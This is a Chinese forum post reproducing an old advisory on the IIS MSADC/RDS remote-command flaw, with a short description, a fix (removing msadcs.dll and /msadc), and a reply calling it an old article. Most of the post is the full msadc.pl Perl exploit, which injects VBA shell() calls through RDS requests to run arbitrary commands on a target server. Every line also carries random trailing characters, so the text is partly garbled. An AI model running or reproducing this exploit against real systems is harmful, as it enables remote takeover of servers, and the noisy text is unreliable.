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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) |yI?}zyR  
VmTk4?V4  
涉及程序: |jV4]7Luq  
Microsoft NT server dBG]J18  
 <C4^Vem  
描述: X/1Z9 a+W  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 <EI'N0~KG  
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详细: Y5 4*mn  
如果你没有时间读详细内容的话,就删除: rr4yJ;qpeP  
c:\Program Files\Common Files\System\Msadc\msadcs.dll p Nu13o~  
有关的安全问题就没有了。 %a/O7s6  
0zpP$q$  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,Z%!38gGsu  
gzDb~UEoF  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 9w Kz p  
关于利用ODBC远程漏洞的描述,请参看: q_f v1U3  
tazBZ'\c  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm yh5KN_W  
Y@.> eS  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 zck)D^,aO  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp U2ANu|  
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这里不再论述。 &V( LeSI  
YA^9, q6u?  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: CSU>nIE0  
:B- ,*@EU  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {uj9fE,)  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! g{$&j*Q9  
(oJ#`k:&n  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" j7-#">YL  
]-.Q9cjc$q  
#!perl ;T52 aX  
# .: 7h=neEW  
# MSADC/RDS 'usage' (aka exploit) script q#\eL~k  
# WaMn[/{  
# by rain.forest.puppy d(a6vEL4  
# Iz{AA-  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 72-@!Z0e  
# beta test and find errors! `hlyN]L  
y+ :<  
use Socket; use Getopt::Std; cDTDim1F  
getopts("e:vd:h:XR", \%args); . ~|^du<X  
0t4i'??  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; F"23>3  
N&>D/Z;"  
if (!defined $args{h} && !defined $args{R}) { QW2% Gv:  
print qq~ 71/6=aq>n  
Usage: msadc.pl -h <host> { -d <delay> -X -v } <E\BKC%M  
-h <host> = host you want to scan (ip or domain) 0XozYyq  
-d <seconds> = delay between calls, default 1 second V,M8RYOnC!  
-X = dump Index Server path table, if available _X.M,id  
-v = verbose Ar'5kPzY>  
-e = external dictionary file for step 5 GV[[[fu  
d&'6l"${  
Or a -R will resume a command session @pko zE-  
Dkdm~~Rr  
~; exit;} E 0oJ|My  
^$#Q_Y|  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; A`r&"i OKA  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Y2$ % %@  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 3]VTQl{P  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  b'{D4/  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} P7Y[?='v  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } .HtDcGp  
2C8M1^0:Z  
if (!defined $args{R}){ $ret = &has_msadc; $K G?d>wx  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} *@Qt*f  
v^E5'M[A  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" cA Lu  
. "cmd /c "; RZ.5:v6  
$in=<STDIN>; chomp $in; ss2:8up 99  
$command="cmd /c " . $in ; 6% ,Q  
9SFiL#1  
if (defined $args{R}) {&load; exit;} %Bo Jt-v  
o4Ba l^=[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; W@0(Y9jdg  
&try_btcustmr; '",5Bu#C  
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print "\nStep 2: Trying to make our own DSN..."; \m.{^Xd~  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 0bd.ess  
0 s 4j>  
print "\nStep 3: Trying known DSNs..."; ?D~uR2+Z  
&known_dsn; PHOW,8)dZh  
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print "\nStep 4: Trying known .mdbs..."; 4v?S` w:6  
&known_mdb; {l1;&y?  
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if (defined $args{e}){ [j/-(?+  
print "\nStep 5: Trying dictionary of DSN names..."; (nzzX?`nY  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } D6m>>&E['  
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print "Sorry Charley...maybe next time?\n"; j"dbl?og  
exit; '\;tmD"N5#  
9(I4x]`  
############################################################################## 1h"B-x  
 ~.Gk:M  
sub sendraw { # ripped and modded from whisker  )Ob{]  
sleep($delay); # it's a DoS on the server! At least on mine... p*'?(o:=  
my ($pstr)=@_; l{3utQH-=z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || jW*A(bK8:  
die("Socket problems\n"); ]Lh\[@#1f  
if(connect(S,pack "SnA4x8",2,80,$target)){ WgL! @g  
select(S); $|=1; &Y&zUfA  
print $pstr; my @in=<S>; r9U1O@c  
select(STDOUT); close(S); c*W$wr  
return @in; 5u8Sxfm",  
} else { die("Can't connect...\n"); }} YJ0[ BcZ  
[+1 i$d  
############################################################################## 2,fB$5+  
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sub make_header { # make the HTTP request $200?[  
my $msadc=<<EOT qnlj~]NV  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 npF[J x[  
User-Agent: ACTIVEDATA n-Xj>  
Host: $ip =sm(Z ;"  
Content-Length: $clen YUH/ tl  
Connection: Keep-Alive M1i|qjb:l  
Psv!`K  
ADCClientVersion:01.06 prWid3}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 'SY &-<t(  
3_>R's8P  
--!ADM!ROX!YOUR!WORLD! BCj&z{5"7e  
Content-Type: application/x-varg  ?b0\[  
Content-Length: $reqlen (o|E@d  
'K!kJ9oqe  
EOT Mc6y'w  
; $msadc=~s/\n/\r\n/g;  96BMJE'  
return $msadc;} K$Ph$P@   
~,:f,FkSQ  
############################################################################## I5~DC  
o?3R HP47  
sub make_req { # make the RDS request DjKjEZHgM  
my ($switch, $p1, $p2)=@_; Z*)<E)  
my $req=""; my $t1, $t2, $query, $dsn; y\[=#g1(@  
Y:a(y*y<  
if ($switch==1){ # this is the btcustmr.mdb query ^#4s/mdVO  
$query="Select * from Customers where City=" . make_shell(); x0d+cSw  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . C/ bttd  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} P8jK yo  
d.Z]R&X08  
elsif ($switch==2){ # this is general make table query r~TT c)2  
$query="create table AZZ (B int, C varchar(10))"; MXy{]o_H~  
$dsn="$p1";} aI<~+]  
1gE`_%?K  
elsif ($switch==3){ # this is general exploit table query 6~}H3rvO}  
$query="select * from AZZ where C=" . make_shell(); EDo (  
$dsn="$p1";} |h7v}Y  
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elsif ($switch==4){ # attempt to hork file info from index server |}`5< a!6U  
$query="select path from scope()"; (TE2t7ab|M  
$dsn="Provider=MSIDXS;";} =T-w.}27O  
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elsif ($switch==5){ # bad query JvDsr0]\#  
$query="select"; WdT|xf.Q&  
$dsn="$p1";} _(hwU>.  
vf2K2\fn  
$t1= make_unicode($query); |(S W  
$t2= make_unicode($dsn); 7'|PHQ?S  
$req = "\x02\x00\x03\x00"; (Y>MsqwWfC  
$req.= "\x08\x00" . pack ("S1", length($t1)); xR:h^S^W ~  
$req.= "\x00\x00" . $t1 ; ueR42J%s  
$req.= "\x08\x00" . pack ("S1", length($t2)); .bE,Q9:  
$req.= "\x00\x00" . $t2 ; ?@1'WD t  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; p[b\x_0%c  
return $req;} ZYA(Bg^  
+RkYW*|$S  
############################################################################## H[D/Sz5`  
@>Keu\)  
sub make_shell { # this makes the shell() statement x}{VHp`|ld  
return "'|shell(\"$command\")|'";} h,x]  
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############################################################################## <IVz mzpL  
yShHFlO=  
sub make_unicode { # quick little function to convert to unicode 0REWbcxd"  
my ($in)=@_; my $out; K>[H@|k\k  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5)UmA8"zVB  
return $out;} CC\z_C*P-p  
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############################################################################## +HX'AC  
+]-KzDsr"V  
sub rdo_success { # checks for RDO return success (this is kludge) lIz_0rE  
my (@in) = @_; my $base=content_start(@in); ))`Zv=y"  
if($in[$base]=~/multipart\/mixed/){ Bt,Xe~$z-  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} R~~rqvLm  
return 0;} =@2V#X]M*  
!)O$Q}'\  
############################################################################## >|?T|  
[R4x[36Zp  
sub make_dsn { # this makes a DSN for us Wv"tAseu  
my @drives=("c","d","e","f"); x1wxB 1)2  
print "\nMaking DSN: "; 2?QJh2  
foreach $drive (@drives) { Q$1K{14I  
print "$drive: "; Nd!VR+IZ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . vi8~j  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ^>Y%L(>  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); &r%*_pX  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 7g)3\C   
return 0 if $2 eq "404"; # not found/doesn't exist @@wx~|%  
if($2 eq "200") { CeTr%j  
foreach $line (@results) { _sVs6AJ  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} $]kg_l)  
} return 0;} [.X%:H+  
FE}!bKh  
############################################################################## ` l2q G#  
n5.>;N.*  
sub verify_exists { (x qA.(F  
my ($page)=@_; Jj:6 c  
my @results=sendraw("GET $page HTTP/1.0\n\n"); \w^QHX1+  
return $results[0];} FRFAWK<  
au|^V^m  
############################################################################## 9Yyg}l:  
Nb~dw;t  
sub try_btcustmr { zXZ'nJ5OGG  
my @drives=("c","d","e","f"); [+g@@\X4  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wkD:i2E7  
(0W}e(D8  
foreach $dir (@dirs) { Eap/7U1Q  
print "$dir -> "; # fun status so you can see progress y.p6%E_`  
foreach $drive (@drives) { fm%RNAPvc  
print "$drive: "; # ditto 7 Zt\G-QV  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; gvNZrp>e!  
$reqlenlen=length( "$reqlen" ); `{F~'t['  
$clen= 206 + $reqlenlen + $reqlen; R*Z]  
|xZcT4  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); mE`qvavP|/  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} >&QH{!(  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Rt^<xXX$  
p{q!jm~Nq  
############################################################################## 4q13xX  
U5!f++  
sub odbc_error { W@,p9=425  
my (@in)=@_; my $base; KC:4  
my $base = content_start(@in);  YX`=M  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this T:dm0iau  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; JA(fam~{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c%@~%IGF  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Eqbe$o`dd  
return $in[$base+4].$in[$base+5].$in[$base+6];} bz0P49%  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Ia`JIc^e  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . XcMJD(!  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ,6;xr'[o*  
_sR9   
############################################################################## 1/ pA/UVO  
_]xt65TL  
sub verbose { oL'1Gm@X?  
my ($in)=@_; .3<IOtD=  
return if !$verbose; H:-A; f!Z  
print STDOUT "\n$in\n";} x$GsDV  
xDJ+BQ<1A  
############################################################################## l(#ke  
yW^IN8fm  
sub save { {R-82%X  
my ($p1, $p2, $p3, $p4)=@_; vX0"S  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ZQ~myqx,+L  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; [W$Z60?RR  
close OUT;} vA"niO  
RP,:[}mPl  
############################################################################## H [Lt%:r  
- SS r  
sub load { ~ sIGI?5f  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; [z%?MIT  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); xs'kO=  
@p=<IN>; close(IN); O R<"LTCL  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 4su_;+]  
$target= inet_aton($ip) || die("inet_aton problems"); f{Fe+iPc  
print "Resuming to $ip ..."; 'B (eMnLg  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; LuP?$~z  
if($p[1]==1) { t {SMSp  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Y^6[[vaj2  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; T5S g2a1&  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); xN3 [Kp  
if (rdo_success(@results)){print "Success!\n";} 8b:clvh  
else { print "failed\n"; verbose(odbc_error(@results));}} &.Latx  
elsif ($p[1]==3){ Ji6`-~ k  
if(run_query("$p[3]")){ P$18Xno{  
print "Success!\n";} else { print "failed\n"; }} :%#r.p"6x  
elsif ($p[1]==4){ :vK(LU0K  
if(run_query($drvst . "$p[3]")){ ^'&iYV  
print "Success!\n"; } else { print "failed\n"; }} =r@gJw:B  
exit;} a1G9wC:e  
*i?rJH  
############################################################################## |vfujzRZ  
px _s@>l`  
sub create_table { ~J1;tZS  
my ($in)=@_; Kr/h`RM  
$reqlen=length( make_req(2,$in,"") ) - 28; N(:nF5>_  
$reqlenlen=length( "$reqlen" ); 4e@&QOo`Cu  
$clen= 206 + $reqlenlen + $reqlen; /e|[SITe  
my @results=sendraw(make_header() . make_req(2,$in,"")); 8Y\OCwO  
return 1 if rdo_success(@results); Er"R;l]xJ  
my $temp= odbc_error(@results); verbose($temp); LgP>u?]n  
return 1 if $temp=~/Table 'AZZ' already exists/; Qq T/1^imS  
return 0;} y98JiNq  
cXS;z.M\_  
############################################################################## W""*hJ  
 O[IR|  
sub known_dsn { 4r1<,{gCS  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go NTm<6Is`  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", RQ^m6)BTo  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", PNbcy!\U  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); #9D/jYK1X  
. QXG"R  
foreach $dSn (@dsns) { @%OPy|=,{  
print "."; & =73D1A  
next if (!is_access("DSN=$dSn")); "mPSA Z  
if(create_table("DSN=$dSn")){ mPs%ZC  
print "$dSn successful\n"; 4<T*i{[  
if(run_query("DSN=$dSn")){ wfBuU>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Cs:+93w  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ^n&]HzT`y  
s>jr1~~3O_  
############################################################################## X-kXg)!Bg  
]6{(Hjt  
sub is_access { HKTeqH_:  
my ($in)=@_; $A;7Em  
$reqlen=length( make_req(5,$in,"") ) - 28; C}b|2y  
$reqlenlen=length( "$reqlen" ); #y=ZP:{:t  
$clen= 206 + $reqlenlen + $reqlen; R2}kz.  
my @results=sendraw(make_header() . make_req(5,$in,"")); /a[V!<"R  
my $temp= odbc_error(@results); y]}b?R~p=  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); }_{y|NW  
return 0;} 5/B#)gm  
D:wnO|:  
############################################################################## onnI !  
@[MO,J&h  
sub run_query { Hp btj  
my ($in)=@_; C-llq`(d  
$reqlen=length( make_req(3,$in,"") ) - 28; 7hB#x]oQo  
$reqlenlen=length( "$reqlen" ); *8$>Whr  
$clen= 206 + $reqlenlen + $reqlen; X"h%tsuw  
my @results=sendraw(make_header() . make_req(3,$in,"")); -7>^ rR V  
return 1 if rdo_success(@results); {TyCj?3B  
my $temp= odbc_error(@results); verbose($temp); J>`v.8y  
return 0;} Mv.Ciyc  
=X%!YZk p  
############################################################################## 2E$^_YT C  
>=if8t!  
sub known_mdb { 2E^"r jLm  
my @drives=("c","d","e","f","g"); ;>NP.pnA)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9wL!D3e {Q  
my $dir, $drive, $mdb; P+Wm9xR2d  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; zlH28V  
\un sh^M  
# this is sparse, because I don't know of many UTZ776`S&X  
my @sysmdbs=( "\\catroot\\icatalog.mdb", .#*D!;f  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 7\mDBG  
"\\system32\\certmdb.mdb", :?HSZocf  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% %'N$l F"]  
Iq{o-nq  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ,-@xq.D  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Hx$.9'Oq\Q  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 0 _Q * E3  
"\\cfusion\\cfapps\\security\\realm_.mdb", JXH",""bq  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", D=$4/D:;  
"\\cfusion\\database\\cfexamples.mdb", }@d>,1DU  
"\\cfusion\\database\\cfsnippets.mdb", r0>q%eM8  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", N83!C=X'  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", gs?8Wzh90*  
"\\cfusion\\brighttiger\\database\\cleam.mdb", :'Zx{F`  
"\\cfusion\\database\\smpolicy.mdb", 3 m6$YWO  
"\\cfusion\\database\cypress.mdb", pvlDjj}  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", tcZa~3.  
"\\website\\cgi-win\\dbsample.mdb", & =G)NeT_  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", H#OYw#L"u  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" PPEq6}  
); #these are just >-!r9"8@  
foreach $drive (@drives) { +A@m9  
foreach $dir (@dirs){ <mL%P`Jj  
foreach $mdb (@sysmdbs) { C 8N%X2R  
print "."; C1b*v&1{  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ _ w/_(k  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; tl|ijR  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ w4UD/zO  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; >w9sE8i  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Q|?'(J+  
W!t{rI72  
foreach $drive (@drives) { iQqqs`K  
foreach $mdb (@mdbs) { tww=~!  
print "."; $]C=qM28-  
if(create_table($drv . $drive . $dir . $mdb)){ wh%xkXa[ur  
print "\n" . $drive . $dir . $mdb . " successful\n"; lr,q{;  
if(run_query($drv . $drive . $dir . $mdb)){ Z:!IX^q;}n  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 6,X+1EXY  
} else { print "Something's borked. Use verbose next time\n"; }}}} 'xIyGDe  
} c S4DN  
x|8^i6xB  
############################################################################## .46#`4av  
vv+km+  
sub hork_idx { 7'z(~3D  
print "\nAttempting to dump Index Server tables...\n"; P>(&glr|  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _BbvhWN&+  
$reqlen=length( make_req(4,"","") ) - 28; Xh?4mKgu  
$reqlenlen=length( "$reqlen" ); P$_&  
$clen= 206 + $reqlenlen + $reqlen; XIKvH-0&  
my @results=sendraw2(make_header() . make_req(4,"","")); k0JW[04j  
if (rdo_success(@results)){ Goxl3LS<  
my $max=@results; my $c; my %d; * r;xw  
for($c=19; $c<$max; $c++){ &=X.*H%  
$results[$c]=~s/\x00//g; >%u@R3PH]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; V^WU8x  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; YScvyh?E  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; >p0KFU  
$d{"$1$2"}="";} t8P PE  
foreach $c (keys %d){ print "$c\n"; } _g~2R#2Q  
} else {print "Index server doesn't seem to be installed.\n"; }} kO1}?dWpa  
Us]=Y}(  
############################################################################## M diw Ri  
c;9.KCpwx  
sub dsn_dict { *$S#o#5  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ];1R&:t  
while(<IN>){ )hBE11,PB  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; c+g@Z"es  
next if (!is_access("DSN=$dSn")); `PgdJrE  
if(create_table("DSN=$dSn")){ k[ %aCGo  
print "$dSn successful\n"; lNz]H iD  
if(run_query("DSN=$dSn")){ 6Z?Su(s(5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { RbEKP(uw  
print "Something's borked. Use verbose next time\n";}}} \9/RAY_G  
print "\n"; close(IN);} a7#?h%wf  
r{_>ldjq  
############################################################################## E8ta|D  
nn+_TMu  
sub sendraw2 { # ripped and modded from whisker |0g{"}%  
sleep($delay); # it's a DoS on the server! At least on mine... 2}vNSQvG  
my ($pstr)=@_; d$G}iJ8$mp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 1y(UgEg   
die("Socket problems\n"); \F{:5,Du)  
if(connect(S,pack "SnA4x8",2,80,$target)){ :5b0np!  
print "Connected. Getting data"; ~E)fpGJ  
open(OUT,">raw.out"); my @in; 9%tobo@J~n  
select(S); $|=1; print $pstr; ?s2^zT  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Su7bm1  
close(OUT); select(STDOUT); close(S); return @in; O$D?A2eI  
} else { die("Can't connect...\n"); }} rzUlO5?R=  
P6\6?am  
############################################################################## 3TS_-l  
XKS8K4"  
sub content_start { # this will take in the server headers 2' ] KTHm  
my (@in)=@_; my $c; <CZgQ\Mt  
for ($c=1;$c<500;$c++) { , jU5|2  
if($in[$c] =~/^\x0d\x0a/){ $!B}$I;cd  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ;j9\b9m  
else { return $c+1; }}} w!&~??&=}  
return -1;} # it should never get here actually QI_4*  
sOpep  
############################################################################## <%P2qgz5  
D +RiM~LH8  
sub funky { xr%#dVk  
my (@in)=@_; my $error=odbc_error(@in); Ln!A:dP}c-  
if($error=~/ADO could not find the specified provider/){ [9o4hw  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; G^;>8r  
exit;} 5T?-zFMM  
if($error=~/A Handler is required/){ Kr-G{b_Pp  
print "\nServer has custom handler filters (they most likely are patched)\n"; WQ6"0*er  
exit;} ba@ctkCW  
if($error=~/specified Handler has denied Access/){ %IY``r)j  
print "\nServer has custom handler filters (they most likely are patched)\n"; *F`A S>  
exit;}} -LW[7s$  
Bd~1P/  
############################################################################## mJ}opy!{;  
= 1.9/hW  
sub has_msadc { yZ kyC'/  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); S/tIwG ~e3  
my $base=content_start(@results); Ig6T g ?  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); :j^FJ@2_  
return 0;} x@KZ ]  
S DLvi!y  
######################## B9,^mE#  
\tN-(=T  
E3aDDFDH  
解决方案: 7.g [SBUOG  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 8|%^3O 0X  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ^-z=`>SrS"  
4m)OR  
拿出来充数 哈哈
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